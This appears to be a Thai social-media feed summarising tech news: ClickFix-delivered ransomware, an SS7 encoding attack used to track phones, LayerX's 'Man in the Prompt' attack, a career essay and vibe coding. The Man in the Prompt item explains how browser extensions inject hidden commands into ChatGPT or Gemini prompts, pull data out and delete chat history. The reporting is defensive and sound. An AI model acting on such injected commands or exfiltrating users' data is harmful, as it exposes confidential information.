มีความเสี่ยงสูงมาก ⛔ ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว ⛔ การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป ‼️ องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง ⛔ ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว ⛔ Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที ‼️ การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น ⛔ ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch ⛔ ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ ‼️ ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา ⛔ การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน ⛔ ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/

HACKREAD.COM

OnlyFans, Discord ClickFix-Themed Pages Spread Epsilon Red Ransomware
Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread

0 Comments 0 Shares 50 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:06:47 -

เรื่องเล่าจากข่าว: “SS7 encoding attack” เมื่อการสื่อสารกลายเป็นช่องทางลับของการสอดแนม

SS7 หรือ Signaling System 7 คือโปรโตคอลเก่าแก่ที่ใช้เชื่อมต่อสายโทรศัพท์, ส่งข้อความ, และจัดการการโรมมิ่งระหว่างเครือข่ายมือถือทั่วโลก แม้จะเป็นหัวใจของการสื่อสารยุคใหม่ แต่ SS7 ไม่เคยถูกออกแบบมาให้ปลอดภัยในระดับที่ทันสมัย

ล่าสุดนักวิจัยจาก Enea พบว่า บริษัทสอดแนมแห่งหนึ่งใช้เทคนิคใหม่ในการ “ปรับรูปแบบการเข้ารหัส” ของข้อความ SS7 เพื่อหลบเลี่ยงระบบตรวจจับ เช่น firewall และระบบเฝ้าระวัง ทำให้สามารถขอข้อมูลตำแหน่งของผู้ใช้มือถือจากผู้ให้บริการได้โดยไม่ถูกบล็อก

เทคนิคนี้อาศัยการปรับโครงสร้างของข้อความ TCAP (Transaction Capabilities Application Part) ซึ่งเป็นชั้นใน SS7 ที่ใช้ส่งข้อมูลระหว่างเครือข่าย โดยใช้การเข้ารหัสแบบ ASN.1 BER ที่มีความยืดหยุ่นสูง ทำให้สามารถสร้างข้อความที่ “ถูกต้องตามหลักการ แต่ผิดจากที่ระบบคาดไว้” จนระบบไม่สามารถตรวจจับได้

การโจมตีนี้ถูกใช้จริงตั้งแต่ปลายปี 2024 และสามารถระบุตำแหน่งผู้ใช้ได้ใกล้ถึงระดับเสาสัญญาณ ซึ่งในเมืองใหญ่หมายถึงระยะเพียงไม่กี่ร้อยเมตร

SS7 encoding attack คือการปรับรูปแบบการเข้ารหัสของข้อความ SS7 เพื่อหลบเลี่ยงระบบตรวจจับ
ใช้เทคนิคการเข้ารหัสแบบ ASN.1 BER ในชั้น TCAP ของ SS7
สร้างข้อความที่ดูถูกต้องแต่ระบบไม่สามารถถอดรหัสได้

บริษัทสอดแนมใช้เทคนิคนี้เพื่อขอข้อมูลตำแหน่งผู้ใช้มือถือจากผู้ให้บริการ
ส่งคำสั่ง PSI (ProvideSubscriberInfo) ที่ถูกปรับแต่ง
ระบบไม่สามารถตรวจสอบ IMSI ได้ จึงไม่บล็อกคำขอ

การโจมตีนี้ถูกใช้จริงตั้งแต่ปลายปี 2024 และยังคงมีผลในปี 2025
พบหลักฐานการใช้งานในเครือข่ายจริง
บริษัทสอดแนมสามารถระบุตำแหน่งผู้ใช้ได้ใกล้ระดับเสาสัญญาณ

SS7 ยังคงถูกใช้งานอย่างแพร่หลาย แม้จะมีเทคโนโลยีใหม่อย่าง Diameter และ 5G signaling
การเลิกใช้ SS7 ไม่ใช่ทางเลือกสำหรับผู้ให้บริการส่วนใหญ่
ต้องใช้วิธีป้องกันเชิงพฤติกรรมและการวิเคราะห์ภัยคุกคาม

Enea แนะนำให้ผู้ให้บริการตรวจสอบรูปแบบการเข้ารหัสที่ผิดปกติและเสริม firewall ให้แข็งแรงขึ้น
ใช้การวิเคราะห์พฤติกรรมร่วมกับ threat intelligence
ป้องกันการหลบเลี่ยงระบบตรวจจับในระดับโครงสร้างข้อความ

ผู้ใช้มือถือไม่สามารถป้องกันการโจมตีนี้ได้ด้วยตัวเอง
การโจมตีเกิดในระดับเครือข่ายมือถือ ไม่ใช่ที่อุปกรณ์ของผู้ใช้
ต้องพึ่งผู้ให้บริการในการป้องกัน

ระบบ SS7 firewall แบบเดิมไม่สามารถตรวจจับการเข้ารหัสที่ผิดปกติได้
ข้อความที่ใช้ encoding แบบใหม่จะผ่าน firewall โดยไม่ถูกบล็อก
IMSI ที่ถูกซ่อนไว้จะไม่ถูกตรวจสอบว่าเป็นเครือข่ายภายในหรือภายนอก

บริษัทสอดแนมสามารถใช้ช่องโหว่นี้เพื่อสอดแนมผู้ใช้โดยไม่ต้องได้รับอนุญาตจากรัฐ
แม้จะอ้างว่าใช้เพื่อจับอาชญากร แต่มีการใช้กับนักข่าวและนักเคลื่อนไหว
เป็นการละเมิดสิทธิส่วนบุคคลอย่างร้ายแรง

ระบบ SS7 มีความซับซ้อนและไม่ถูกออกแบบมาให้รองรับการป้องกันภัยสมัยใหม่
ASN.1 BER มีความยืดหยุ่นสูงจนกลายเป็นช่องโหว่
การปรับโครงสร้างข้อความสามารถหลบเลี่ยงระบบตรวจจับได้ง่าย

https://hackread.com/researchers-ss7-encoding-attack-surveillance-vendor/

🧠 เรื่องเล่าจากข่าว: “SS7 encoding attack” เมื่อการสื่อสารกลายเป็นช่องทางลับของการสอดแนม SS7 หรือ Signaling System 7 คือโปรโตคอลเก่าแก่ที่ใช้เชื่อมต่อสายโทรศัพท์, ส่งข้อความ, และจัดการการโรมมิ่งระหว่างเครือข่ายมือถือทั่วโลก แม้จะเป็นหัวใจของการสื่อสารยุคใหม่ แต่ SS7 ไม่เคยถูกออกแบบมาให้ปลอดภัยในระดับที่ทันสมัย ล่าสุดนักวิจัยจาก Enea พบว่า บริษัทสอดแนมแห่งหนึ่งใช้เทคนิคใหม่ในการ “ปรับรูปแบบการเข้ารหัส” ของข้อความ SS7 เพื่อหลบเลี่ยงระบบตรวจจับ เช่น firewall และระบบเฝ้าระวัง ทำให้สามารถขอข้อมูลตำแหน่งของผู้ใช้มือถือจากผู้ให้บริการได้โดยไม่ถูกบล็อก เทคนิคนี้อาศัยการปรับโครงสร้างของข้อความ TCAP (Transaction Capabilities Application Part) ซึ่งเป็นชั้นใน SS7 ที่ใช้ส่งข้อมูลระหว่างเครือข่าย โดยใช้การเข้ารหัสแบบ ASN.1 BER ที่มีความยืดหยุ่นสูง ทำให้สามารถสร้างข้อความที่ “ถูกต้องตามหลักการ แต่ผิดจากที่ระบบคาดไว้” จนระบบไม่สามารถตรวจจับได้ การโจมตีนี้ถูกใช้จริงตั้งแต่ปลายปี 2024 และสามารถระบุตำแหน่งผู้ใช้ได้ใกล้ถึงระดับเสาสัญญาณ ซึ่งในเมืองใหญ่หมายถึงระยะเพียงไม่กี่ร้อยเมตร ✅ SS7 encoding attack คือการปรับรูปแบบการเข้ารหัสของข้อความ SS7 เพื่อหลบเลี่ยงระบบตรวจจับ ➡️ ใช้เทคนิคการเข้ารหัสแบบ ASN.1 BER ในชั้น TCAP ของ SS7 ➡️ สร้างข้อความที่ดูถูกต้องแต่ระบบไม่สามารถถอดรหัสได้ ✅ บริษัทสอดแนมใช้เทคนิคนี้เพื่อขอข้อมูลตำแหน่งผู้ใช้มือถือจากผู้ให้บริการ ➡️ ส่งคำสั่ง PSI (ProvideSubscriberInfo) ที่ถูกปรับแต่ง ➡️ ระบบไม่สามารถตรวจสอบ IMSI ได้ จึงไม่บล็อกคำขอ ✅ การโจมตีนี้ถูกใช้จริงตั้งแต่ปลายปี 2024 และยังคงมีผลในปี 2025 ➡️ พบหลักฐานการใช้งานในเครือข่ายจริง ➡️ บริษัทสอดแนมสามารถระบุตำแหน่งผู้ใช้ได้ใกล้ระดับเสาสัญญาณ ✅ SS7 ยังคงถูกใช้งานอย่างแพร่หลาย แม้จะมีเทคโนโลยีใหม่อย่าง Diameter และ 5G signaling ➡️ การเลิกใช้ SS7 ไม่ใช่ทางเลือกสำหรับผู้ให้บริการส่วนใหญ่ ➡️ ต้องใช้วิธีป้องกันเชิงพฤติกรรมและการวิเคราะห์ภัยคุกคาม ✅ Enea แนะนำให้ผู้ให้บริการตรวจสอบรูปแบบการเข้ารหัสที่ผิดปกติและเสริม firewall ให้แข็งแรงขึ้น ➡️ ใช้การวิเคราะห์พฤติกรรมร่วมกับ threat intelligence ➡️ ป้องกันการหลบเลี่ยงระบบตรวจจับในระดับโครงสร้างข้อความ ‼️ ผู้ใช้มือถือไม่สามารถป้องกันการโจมตีนี้ได้ด้วยตัวเอง ⛔ การโจมตีเกิดในระดับเครือข่ายมือถือ ไม่ใช่ที่อุปกรณ์ของผู้ใช้ ⛔ ต้องพึ่งผู้ให้บริการในการป้องกัน ‼️ ระบบ SS7 firewall แบบเดิมไม่สามารถตรวจจับการเข้ารหัสที่ผิดปกติได้ ⛔ ข้อความที่ใช้ encoding แบบใหม่จะผ่าน firewall โดยไม่ถูกบล็อก ⛔ IMSI ที่ถูกซ่อนไว้จะไม่ถูกตรวจสอบว่าเป็นเครือข่ายภายในหรือภายนอก ‼️ บริษัทสอดแนมสามารถใช้ช่องโหว่นี้เพื่อสอดแนมผู้ใช้โดยไม่ต้องได้รับอนุญาตจากรัฐ ⛔ แม้จะอ้างว่าใช้เพื่อจับอาชญากร แต่มีการใช้กับนักข่าวและนักเคลื่อนไหว ⛔ เป็นการละเมิดสิทธิส่วนบุคคลอย่างร้ายแรง ‼️ ระบบ SS7 มีความซับซ้อนและไม่ถูกออกแบบมาให้รองรับการป้องกันภัยสมัยใหม่ ⛔ ASN.1 BER มีความยืดหยุ่นสูงจนกลายเป็นช่องโหว่ ⛔ การปรับโครงสร้างข้อความสามารถหลบเลี่ยงระบบตรวจจับได้ง่าย https://hackread.com/researchers-ss7-encoding-attack-surveillance-vendor/

HACKREAD.COM

Researchers Link New SS7 Encoding Attack to Surveillance Vendor Activity
Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread

0 Comments 0 Shares 54 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:04:36 -

เรื่องเล่าจากข่าว: “Man in the Prompt” เมื่อ AI กลายเป็นผู้ช่วยโจรกรรมข้อมูล

นักวิจัยจากบริษัท LayerX ค้นพบช่องโหว่ใหม่ที่เรียกว่า “Man in the Prompt” ซึ่งอาศัยความจริงที่ว่า ช่องใส่คำสั่ง (prompt input) ของ AI บนเว็บเบราว์เซอร์เป็นส่วนหนึ่งของโครงสร้างหน้าเว็บ (Document Object Model หรือ DOM) นั่นหมายความว่า ส่วนเสริมใด ๆ ที่เข้าถึง DOM ได้ ก็สามารถอ่านหรือเขียนคำสั่งลงในช่อง prompt ได้ทันที—even ถ้าไม่มีสิทธิ์พิเศษ!

แฮกเกอร์สามารถใช้ส่วนเสริมที่เป็นอันตราย (หรือซื้อสิทธิ์จากส่วนเสริมที่มีอยู่แล้ว) เพื่อแอบแฝงคำสั่งลับ, ดึงข้อมูลจากคำตอบของ AI, หรือแม้แต่ลบประวัติการสนทนาเพื่อไม่ให้ผู้ใช้รู้ตัว

LayerX ได้ทดลองโจมตีจริงกับ ChatGPT และ Google Gemini โดยใช้ส่วนเสริมที่ดูไม่มีพิษภัย แต่สามารถเปิดแท็บลับ, ส่งคำสั่งไปยัง AI, ดึงข้อมูลออก และลบหลักฐานทั้งหมด

สิ่งที่น่ากลัวคือ AI เหล่านี้มักถูกใช้ในองค์กรเพื่อประมวลผลข้อมูลลับ เช่น เอกสารภายใน, แผนธุรกิจ, หรือรหัสโปรแกรม—ซึ่งอาจถูกขโมยไปโดยไม่รู้ตัว

“Man in the Prompt” คือการโจมตีผ่านส่วนเสริมเบราว์เซอร์ที่แอบแฝงคำสั่งในช่อง prompt ของ AI
ใช้ช่องโหว่ของ DOM ที่เปิดให้ส่วนเสริมเข้าถึงข้อมูลในหน้าเว็บ
ไม่ต้องใช้สิทธิ์พิเศษก็สามารถอ่าน/เขียนคำสั่งได้

AI ที่ได้รับผลกระทบ ได้แก่ ChatGPT, Gemini, Claude, Copilot และ Deepseek
ทั้ง AI เชิงพาณิชย์และ AI ภายในองค์กร
มีการทดสอบจริงและแสดงผลสำเร็จ

ส่วนเสริมสามารถแอบส่งคำสั่ง, ดึงข้อมูล, และลบประวัติการสนทนาได้
เช่น เปิดแท็บลับ, ส่งคำสั่งไปยัง ChatGPT, ดึงผลลัพธ์, แล้วลบแชท
Gemini สามารถถูกโจมตีผ่าน sidebar ที่เชื่อมกับ Google Workspace

ข้อมูลที่เสี่ยงต่อการรั่วไหล ได้แก่ อีเมล, เอกสาร, รหัส, แผนธุรกิจ และทรัพย์สินทางปัญญา
โดยเฉพาะ AI ภายในองค์กรที่ฝึกด้วยข้อมูลลับ
มีความเชื่อมั่นสูงแต่ขาดระบบป้องกันคำสั่งแฝง

LayerX แนะนำให้ตรวจสอบพฤติกรรม DOM ของส่วนเสริมแทนการดูแค่สิทธิ์ที่ประกาศไว้
ปรับระบบความปลอดภัยให้มองเห็นการเปลี่ยนแปลงใน DOM
ป้องกันการแอบแฝงคำสั่งและการดึงข้อมูลแบบเรียลไทม์

ส่วนเสริมที่ดูปลอดภัยอาจถูกแฮกหรือซื้อสิทธิ์ไปใช้โจมตีได้
เช่น ส่วนเสริมที่มีฟีเจอร์จัดการ prompt อาจถูกใช้เพื่อแอบแฝงคำสั่ง
ไม่ต้องมีการติดตั้งใหม่หรืออนุญาตใด ๆ จากผู้ใช้

ระบบความปลอดภัยแบบเดิมไม่สามารถตรวจจับการโจมตีในระดับ DOM ได้
เช่น DLP หรือ Secure Web Gateway ไม่เห็นการเปลี่ยนแปลงใน DOM
การบล็อก URL ของ AI ไม่ช่วยป้องกันการโจมตีภายในเบราว์เซอร์

องค์กรที่อนุญาตให้ติดตั้งส่วนเสริมอย่างเสรีมีความเสี่ยงสูงมาก
พนักงานอาจติดตั้งส่วนเสริมที่เป็นอันตรายโดยไม่รู้ตัว
ข้อมูลภายในองค์กรอาจถูกขโมยผ่าน AI ที่เชื่อมกับเบราว์เซอร์

AI ที่ฝึกด้วยข้อมูลลับภายในองค์กรมีความเสี่ยงสูงสุด
เช่น ข้อมูลทางกฎหมาย, การเงิน, หรือกลยุทธ์
หากถูกดึงออกผ่าน prompt จะไม่มีทางรู้ตัวเลย

https://hackread.com/browser-extensions-exploit-chatgpt-gemini-man-in-the-prompt/

🧠 เรื่องเล่าจากข่าว: “Man in the Prompt” เมื่อ AI กลายเป็นผู้ช่วยโจรกรรมข้อมูล นักวิจัยจากบริษัท LayerX ค้นพบช่องโหว่ใหม่ที่เรียกว่า “Man in the Prompt” ซึ่งอาศัยความจริงที่ว่า ช่องใส่คำสั่ง (prompt input) ของ AI บนเว็บเบราว์เซอร์เป็นส่วนหนึ่งของโครงสร้างหน้าเว็บ (Document Object Model หรือ DOM) นั่นหมายความว่า ส่วนเสริมใด ๆ ที่เข้าถึง DOM ได้ ก็สามารถอ่านหรือเขียนคำสั่งลงในช่อง prompt ได้ทันที—even ถ้าไม่มีสิทธิ์พิเศษ! แฮกเกอร์สามารถใช้ส่วนเสริมที่เป็นอันตราย (หรือซื้อสิทธิ์จากส่วนเสริมที่มีอยู่แล้ว) เพื่อแอบแฝงคำสั่งลับ, ดึงข้อมูลจากคำตอบของ AI, หรือแม้แต่ลบประวัติการสนทนาเพื่อไม่ให้ผู้ใช้รู้ตัว LayerX ได้ทดลองโจมตีจริงกับ ChatGPT และ Google Gemini โดยใช้ส่วนเสริมที่ดูไม่มีพิษภัย แต่สามารถเปิดแท็บลับ, ส่งคำสั่งไปยัง AI, ดึงข้อมูลออก และลบหลักฐานทั้งหมด สิ่งที่น่ากลัวคือ AI เหล่านี้มักถูกใช้ในองค์กรเพื่อประมวลผลข้อมูลลับ เช่น เอกสารภายใน, แผนธุรกิจ, หรือรหัสโปรแกรม—ซึ่งอาจถูกขโมยไปโดยไม่รู้ตัว ✅ “Man in the Prompt” คือการโจมตีผ่านส่วนเสริมเบราว์เซอร์ที่แอบแฝงคำสั่งในช่อง prompt ของ AI ➡️ ใช้ช่องโหว่ของ DOM ที่เปิดให้ส่วนเสริมเข้าถึงข้อมูลในหน้าเว็บ ➡️ ไม่ต้องใช้สิทธิ์พิเศษก็สามารถอ่าน/เขียนคำสั่งได้ ✅ AI ที่ได้รับผลกระทบ ได้แก่ ChatGPT, Gemini, Claude, Copilot และ Deepseek ➡️ ทั้ง AI เชิงพาณิชย์และ AI ภายในองค์กร ➡️ มีการทดสอบจริงและแสดงผลสำเร็จ ✅ ส่วนเสริมสามารถแอบส่งคำสั่ง, ดึงข้อมูล, และลบประวัติการสนทนาได้ ➡️ เช่น เปิดแท็บลับ, ส่งคำสั่งไปยัง ChatGPT, ดึงผลลัพธ์, แล้วลบแชท ➡️ Gemini สามารถถูกโจมตีผ่าน sidebar ที่เชื่อมกับ Google Workspace ✅ ข้อมูลที่เสี่ยงต่อการรั่วไหล ได้แก่ อีเมล, เอกสาร, รหัส, แผนธุรกิจ และทรัพย์สินทางปัญญา ➡️ โดยเฉพาะ AI ภายในองค์กรที่ฝึกด้วยข้อมูลลับ ➡️ มีความเชื่อมั่นสูงแต่ขาดระบบป้องกันคำสั่งแฝง ✅ LayerX แนะนำให้ตรวจสอบพฤติกรรม DOM ของส่วนเสริมแทนการดูแค่สิทธิ์ที่ประกาศไว้ ➡️ ปรับระบบความปลอดภัยให้มองเห็นการเปลี่ยนแปลงใน DOM ➡️ ป้องกันการแอบแฝงคำสั่งและการดึงข้อมูลแบบเรียลไทม์ ‼️ ส่วนเสริมที่ดูปลอดภัยอาจถูกแฮกหรือซื้อสิทธิ์ไปใช้โจมตีได้ ⛔ เช่น ส่วนเสริมที่มีฟีเจอร์จัดการ prompt อาจถูกใช้เพื่อแอบแฝงคำสั่ง ⛔ ไม่ต้องมีการติดตั้งใหม่หรืออนุญาตใด ๆ จากผู้ใช้ ‼️ ระบบความปลอดภัยแบบเดิมไม่สามารถตรวจจับการโจมตีในระดับ DOM ได้ ⛔ เช่น DLP หรือ Secure Web Gateway ไม่เห็นการเปลี่ยนแปลงใน DOM ⛔ การบล็อก URL ของ AI ไม่ช่วยป้องกันการโจมตีภายในเบราว์เซอร์ ‼️ องค์กรที่อนุญาตให้ติดตั้งส่วนเสริมอย่างเสรีมีความเสี่ยงสูงมาก ⛔ พนักงานอาจติดตั้งส่วนเสริมที่เป็นอันตรายโดยไม่รู้ตัว ⛔ ข้อมูลภายในองค์กรอาจถูกขโมยผ่าน AI ที่เชื่อมกับเบราว์เซอร์ ‼️ AI ที่ฝึกด้วยข้อมูลลับภายในองค์กรมีความเสี่ยงสูงสุด ⛔ เช่น ข้อมูลทางกฎหมาย, การเงิน, หรือกลยุทธ์ ⛔ หากถูกดึงออกผ่าน prompt จะไม่มีทางรู้ตัวเลย https://hackread.com/browser-extensions-exploit-chatgpt-gemini-man-in-the-prompt/

HACKREAD.COM

Browser Extensions Can Exploit ChatGPT, Gemini in ‘Man in the Prompt’ Attack
Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread

0 Comments 0 Shares 54 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 01:58:56 -

เรื่องเล่าจากบทความ: “อยากเปิดร้านกาแฟเหรอ? งั้นตอบให้ได้ก่อนว่า...จะเอากาแฟจากไหน?”

Adam เริ่มต้นด้วยการเล่าถึงคนจำนวนมากที่เบื่อกับงานปัจจุบัน และฝันอยากเปิดร้านกาแฟเล็ก ๆ ของตัวเอง แต่เมื่อเขาถามว่า “คุณจะเอากาแฟจากไหน?” คนส่วนใหญ่กลับตอบไม่ได้

เขาเรียกสิ่งนี้ว่า “Coffee Beans Procedure”—เป็นเทคนิคทางจิตวิทยาที่เรียกว่า “unpacking” หรือการแยกแยะภาพฝันออกมาเป็นรายละเอียดจริง ๆ ว่าชีวิตในบทบาทนั้นจะเป็นอย่างไร

เมื่อเราไม่ unpack ความฝันของตัวเอง เราจะติดอยู่กับภาพลวงตา เช่นคิดว่าเป็นศาสตราจารย์คือการเดินใส่เสื้อทวีดในมหาวิทยาลัยแล้วมีคนทักว่า “สวัสดีครับอาจารย์” ทั้งที่จริงคือการเขียนงานวิจัยและสอนนักศึกษา

Adam สรุปว่า “ทุกงานที่ดีจริง ๆ จะดูเหมือนเหมาะกับคนบ้า”—เพราะมันมีความยาก ความซ้ำซาก หรือความเครียดที่คนทั่วไปรับไม่ไหว แต่คนที่เหมาะกับงานนั้นคือคนที่ “บ้าแบบถูกจุด”

Coffee Beans Procedure คือการทดสอบว่าเรารู้จริงหรือเปล่าว่าอยากทำงานอะไร
ถามคำถามเชิงรายละเอียด เช่น “จะใช้เครื่องชงกาแฟรุ่นไหน?” เพื่อดูว่าเราสนใจงานนั้นจริงหรือแค่ฝัน
ถ้าตอบไม่ได้หรือไม่สนใจคำถามเหล่านี้ แสดงว่าอาจไม่เหมาะกับงานนั้น

Unpacking คือเทคนิคทางจิตวิทยาในการแยกภาพฝันออกเป็นรายละเอียดจริง
ช่วยให้เรามองเห็นชีวิตจริงในบทบาทนั้น ไม่ใช่แค่ภาพในหัว
ลดความเสี่ยงในการเลือกเส้นทางผิดเพราะเข้าใจผิด

คนส่วนใหญ่ไม่รู้ว่าชีวิตของอาชีพที่อยากทำจริง ๆ เป็นอย่างไร
เช่น นักศึกษาที่อยากเป็นอาจารย์แต่ไม่รู้ว่าต้องเขียนงานวิจัยและสอนทุกวัน
เมื่อ unpack แล้วจึงพบว่า “ไม่อยากทำสิ่งนั้นเลย”

งานที่ดูดีจากภายนอกมักมีด้านมืดที่คนทั่วไปรับไม่ไหว
เช่น ศัลยแพทย์ต้องทำหัตถการเดิมซ้ำ ๆ ทุกสัปดาห์
นักแสดงต้องพึ่งรูปลักษณ์และความนิยม
ช่างภาพงานแต่งต้องทำงานทุกคืนวันเสาร์โดยไม่เมา

คนที่เหมาะกับงานเหล่านี้คือคนที่ “บ้าแบบถูกจุด”
มีความหลงใหลในสิ่งที่คนอื่นมองว่าเป็นข้อเสีย
พร้อมรับความเครียด ความซ้ำซาก หรือความไม่แน่นอน

https://www.experimental-history.com/p/face-it-youre-a-crazy-person

🧠 เรื่องเล่าจากบทความ: “อยากเปิดร้านกาแฟเหรอ? งั้นตอบให้ได้ก่อนว่า...จะเอากาแฟจากไหน?” Adam เริ่มต้นด้วยการเล่าถึงคนจำนวนมากที่เบื่อกับงานปัจจุบัน และฝันอยากเปิดร้านกาแฟเล็ก ๆ ของตัวเอง แต่เมื่อเขาถามว่า “คุณจะเอากาแฟจากไหน?” คนส่วนใหญ่กลับตอบไม่ได้ เขาเรียกสิ่งนี้ว่า “Coffee Beans Procedure”—เป็นเทคนิคทางจิตวิทยาที่เรียกว่า “unpacking” หรือการแยกแยะภาพฝันออกมาเป็นรายละเอียดจริง ๆ ว่าชีวิตในบทบาทนั้นจะเป็นอย่างไร เมื่อเราไม่ unpack ความฝันของตัวเอง เราจะติดอยู่กับภาพลวงตา เช่นคิดว่าเป็นศาสตราจารย์คือการเดินใส่เสื้อทวีดในมหาวิทยาลัยแล้วมีคนทักว่า “สวัสดีครับอาจารย์” ทั้งที่จริงคือการเขียนงานวิจัยและสอนนักศึกษา Adam สรุปว่า “ทุกงานที่ดีจริง ๆ จะดูเหมือนเหมาะกับคนบ้า”—เพราะมันมีความยาก ความซ้ำซาก หรือความเครียดที่คนทั่วไปรับไม่ไหว แต่คนที่เหมาะกับงานนั้นคือคนที่ “บ้าแบบถูกจุด” ✅ Coffee Beans Procedure คือการทดสอบว่าเรารู้จริงหรือเปล่าว่าอยากทำงานอะไร ➡️ ถามคำถามเชิงรายละเอียด เช่น “จะใช้เครื่องชงกาแฟรุ่นไหน?” เพื่อดูว่าเราสนใจงานนั้นจริงหรือแค่ฝัน ➡️ ถ้าตอบไม่ได้หรือไม่สนใจคำถามเหล่านี้ แสดงว่าอาจไม่เหมาะกับงานนั้น ✅ Unpacking คือเทคนิคทางจิตวิทยาในการแยกภาพฝันออกเป็นรายละเอียดจริง ➡️ ช่วยให้เรามองเห็นชีวิตจริงในบทบาทนั้น ไม่ใช่แค่ภาพในหัว ➡️ ลดความเสี่ยงในการเลือกเส้นทางผิดเพราะเข้าใจผิด ✅ คนส่วนใหญ่ไม่รู้ว่าชีวิตของอาชีพที่อยากทำจริง ๆ เป็นอย่างไร ➡️ เช่น นักศึกษาที่อยากเป็นอาจารย์แต่ไม่รู้ว่าต้องเขียนงานวิจัยและสอนทุกวัน ➡️ เมื่อ unpack แล้วจึงพบว่า “ไม่อยากทำสิ่งนั้นเลย” ✅ งานที่ดูดีจากภายนอกมักมีด้านมืดที่คนทั่วไปรับไม่ไหว ➡️ เช่น ศัลยแพทย์ต้องทำหัตถการเดิมซ้ำ ๆ ทุกสัปดาห์ ➡️ นักแสดงต้องพึ่งรูปลักษณ์และความนิยม ➡️ ช่างภาพงานแต่งต้องทำงานทุกคืนวันเสาร์โดยไม่เมา ✅ คนที่เหมาะกับงานเหล่านี้คือคนที่ “บ้าแบบถูกจุด” ➡️ มีความหลงใหลในสิ่งที่คนอื่นมองว่าเป็นข้อเสีย ➡️ พร้อมรับความเครียด ความซ้ำซาก หรือความไม่แน่นอน https://www.experimental-history.com/p/face-it-youre-a-crazy-person

WWW.EXPERIMENTAL-HISTORY.COM

Face it: you're a crazy person
OR: why your brain needs a boxcutter

0 Comments 0 Shares 41 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 01:56:26 -

เรื่องเล่าจากสนามโค้ด: เมื่อ vibe coding คือการรูดบัตรเครดิตโดยไม่รู้ยอดหนี้

“Vibe coding” เป็นคำที่ Andrej Karpathy นิยามไว้ในต้นปี 2025 หมายถึงการเขียนโค้ดด้วย AI โดยไม่ต้องเข้าใจโค้ดทั้งหมด—แค่บอกสิ่งที่ต้องการ แล้วปล่อยให้ LLM (เช่น GPT-4 หรือ Claude) สร้างโค้ดให้เอง

มันเหมาะกับการสร้างโปรเจกต์เล็ก ๆ หรือแอปต้นแบบที่ไม่ต้องดูแลระยะยาว เช่น แอปคำนวณ, เกมเล็ก ๆ, หรือเครื่องมือส่วนตัว เพราะเร็วและไม่ต้องลงแรงมาก

แต่เมื่อ vibe coding ถูกใช้กับโปรเจกต์ใหญ่หรือระบบที่ต้องดูแลต่อเนื่อง มันกลายเป็น “legacy code” ที่ไม่มีใครเข้าใจ และนำไปสู่ “หนี้เทคโนโลยี” ที่ต้องจ่ายคืนด้วยเวลาและแรงงานมหาศาลในอนาคต

Vibe coding คือการเขียนโค้ดด้วย AI โดยไม่ต้องเข้าใจโค้ดทั้งหมด
ใช้ LLM สร้างโค้ดจากคำสั่งธรรมดา เช่น “สร้างเว็บแสดงข้อมูลประชากรตามเมือง”
ผู้ใช้ทำหน้าที่เป็นผู้กำกับ ไม่ใช่ผู้เขียนโค้ดโดยตรง

เหมาะกับโปรเจกต์ต้นแบบหรือแอปที่ไม่ต้องดูแลระยะยาว
เช่น แอปคำนวณ, เกมเล็ก ๆ, หรือเครื่องมือส่วนตัว
ไม่ต้องเข้าใจโค้ดลึก เพราะไม่ต้องแก้ไขหรือขยายในอนาคต

Vibe coding ทำให้คนทั่วไปสามารถสร้างซอฟต์แวร์ได้โดยไม่ต้องเรียนเขียนโค้ด
เป็นการ democratize การพัฒนาโปรแกรม
ลดเวลาและต้นทุนในการสร้าง MVP หรือไอเดียใหม่

แต่เมื่อใช้กับโปรเจกต์จริง จะเกิด “หนี้เทคโนโลยี” (technical debt)
โค้ดที่ไม่มีโครงสร้างชัดเจน, ไม่มีเอกสาร, และไม่มีการทดสอบ
ยากต่อการแก้ไข, ขยาย, หรือ debug ในอนาคต

นักพัฒนาบางคนใช้ vibe coding แบบมีสติ—ให้ AI ช่วยเฉพาะจุด และตรวจสอบทุกบรรทัด
ใช้ AI เป็นผู้ช่วย ไม่ใช่ผู้แทน
เหมาะกับงานที่ต้องการความแม่นยำและความปลอดภัย

เครื่องมืออย่าง Townie, Cursor, และ Bugbot ถูกสร้างขึ้นเพื่อควบคุมคุณภาพของ vibe coding
ตรวจสอบโค้ดอัตโนมัติ, แนะนำการแก้ไข, และลดข้อผิดพลาด
ช่วยให้ vibe coding ปลอดภัยขึ้นในระดับองค์กร

การใช้ vibe coding โดยไม่เข้าใจโค้ด อาจนำไปสู่ระบบที่ไม่มีใครดูแลได้
เมื่อเกิดปัญหา จะไม่มีใครรู้ว่าจะแก้ตรงไหน
ต้องพึ่ง AI ในการแก้ไข ซึ่งอาจทำให้ปัญหาซับซ้อนขึ้น

หนี้เทคโนโลยีจาก vibe coding อาจสะสมจนทำให้โครงการล่ม
โค้ดที่ดูดีภายนอกอาจมีปัญหาเชิงโครงสร้างภายใน
การ refactor หรือ rewrite อาจใช้เวลามากกว่าการเขียนใหม่ตั้งแต่ต้น

